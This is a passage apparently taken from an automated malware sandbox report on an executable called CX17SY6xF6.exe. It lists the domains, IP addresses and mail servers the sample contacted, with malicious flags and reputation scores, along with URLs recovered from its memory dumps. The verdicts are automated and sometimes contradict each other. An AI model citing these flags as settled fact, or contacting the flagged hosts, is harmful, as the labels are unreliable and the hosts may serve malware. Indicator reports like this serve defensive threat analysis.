hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com	54.161.222.85	true	false		high
oaith.ca	192.124.249.12	true	false		unknown
shztm.ru	62.122.170.171	true	true		unknown
akr.co.id	104.20.123.68	true	false		unknown
www.abdg.com	192.252.154.18	true	false		unknown
www.spanesi.com	5.196.166.214	true	true		unknown
aiolos-sa.gr	188.114.96.7	true	true		unknown
usadig.com	198.100.146.220	true	true		unknown
metaforacom.com	185.42.105.162	true	true		unknown
dhh.la.gov	52.200.51.73	true	false		high
gmail-smtp-in.l.google.com	142.250.27.26	true	false		high
fdlymca.org	192.124.249.9	true	true		unknown
smtp1.sbc.mail.am0.yahoodns.net	66.163.170.48	true	true		unknown
assideum.com	52.219.100.19	true	true		unknown
bidroll.com	13.56.33.8	true	true		unknown
cbras.com	54.39.198.18	true	true		unknown
atbauk.org	172.67.196.145	true	true		unknown
www.vazir.se	206.191.152.37	true	false		unknown
www.naoi-a.com	202.254.236.40	true	false		unknown
d2r2uj0bnofxxz.cloudfront.net	18.165.183.19	true	false		high
www.valselit.com	193.70.68.254	true	true		unknown
vvsteknik.dk	185.31.76.90	true	true		unknown
biosolve.com	151.101.130.159	true	true		unknown
karmy.com.pl	185.253.212.22	true	true		unknown
www.fe-bauer.de	3.65.101.129	true	false		unknown
smtp.mail.global.gm0.yahoodns.net	87.248.97.36	true	true		unknown
vdoherty.com	91.216.241.100	true	true		unknown
hbfuels.com	85.233.160.146	true	false		unknown
td-ccm-neg-87-45.wixdns.net	34.149.87.45	true	false		unknown
pb-games.com	173.254.28.29	true	false		unknown
mackusick.de	217.160.0.131	true	true		unknown
ncn.de	46.30.60.158	true	true		unknown
nekono.net	202.172.28.187	true	true		unknown
cvswl.org	188.114.97.7	true	false		high
fnw.us	137.118.26.67	true	false		high
komie.com	59.106.13.181	true	false		high
ftmobile.com	199.34.228.78	true	false		high
www.x0c.com	104.143.9.110	true	false		high
onzcda.com	15.197.204.56	true	false		high
sledsport.ru	185.22.232.175	true	false		high
www.findbc.com	13.248.169.48	true	false		high
tbvlugus.nl	174.129.25.170	true	false		high
cubodown.com	104.21.30.14	true	false		high
infotech.pl	79.96.32.254	true	false		high
pellys.co.uk	77.72.4.226	true	false		high
semuk.com	86.105.245.69	true	false		high
tozzhin.com	202.94.166.30	true	false		high
tabbles.net	80.211.41.39	true	false		high
cqdgroup.com	221.132.33.88	true	false		high
www.muhr-soehne.de	5.189.171.125	true	false		high
fortknox.bm	216.177.137.32	true	false		high
camamat.com	104.21.235.31	true	false		high
mail.airmail.net	66.226.70.66	true	false		high
lyto.net	188.114.96.7	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://a-domani.com/	true	Avira URL Cloud: safe	unknown
http://www.elpro.si/	false	Avira URL Cloud: safe	unknown
http://www.credo.edu.pl/	false	Avira URL Cloud: malware	unknown
http://sigtoa.com/	true	Avira URL Cloud: safe	unknown
http://dhh.la.gov/	false		high
http://www.naoi-a.com/	false	Avira URL Cloud: safe	unknown
http://www.abdg.com/	false	Avira URL Cloud: safe	unknown
http://msl-lock.com/	false		high
https://ldh.la.gov/	false		high
http://calvinly.com/	false	Avira URL Cloud: safe	unknown
http://zugseil.com/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.elpro.si/wp-content/uploads/2023/06/Untitled-design-600x338.jpg	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hotel-amadeus-frankfurt.de/fonts/DejaVu-Sans/stylesheet.css	CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.639995551.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.stajerskagz.si/o-sgz-2/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/usa/	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false		high
http://hotel-amadeus-frankfurt.de/js/form.class.js	CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.639995551.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.c9dd.com/C#i((	CX17SY6xF6.exe, 00000000.00000003.699451551.00000000071CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/elpro-posebne-izvedbe-temperaturnih-tipal/merilni-pretvornik	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.elpro.si/wp-content/themes/elpro/js/functions.js?ver=1.0.0	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/wp-content/uploads/2020/03/ICO-75-Monitoring.svg	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/wika-partner/kalibracija/	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oss.maxcdn.com/respond/1.4.2/respond.min.js	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.elpro.si/wp-content/uploads/2023/07/PRENOSNA_2220-9670-asfalt_asvalt_moder-150x150.jpg	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pohlfood.com/#website	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/#webpage	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://inhouse.pohlfood.com/	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/wp-content/uploads/2020/03/ICO-75-Prenosne-naprave.svg	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/rotronic/temperatura-rotronic-merilniki-temperature/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/merilniki-tlaka/manometri-z-izhodnim-signalom/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/plugins/ooohboi-steroids-for-elementor/assets/css/main.css?ver=2.1.50	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/merilniki-nivoja/jola-nivo-tekocin/prikazovalnik-toka-jola/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/merilniki-nivoja/jola-nivo-tekocin/regulacija-nivoja/meritev	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/wp-content/uploads/2023/06/Untitled-design-64x36.jpg	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.744273277.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595947811.0000000007260000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
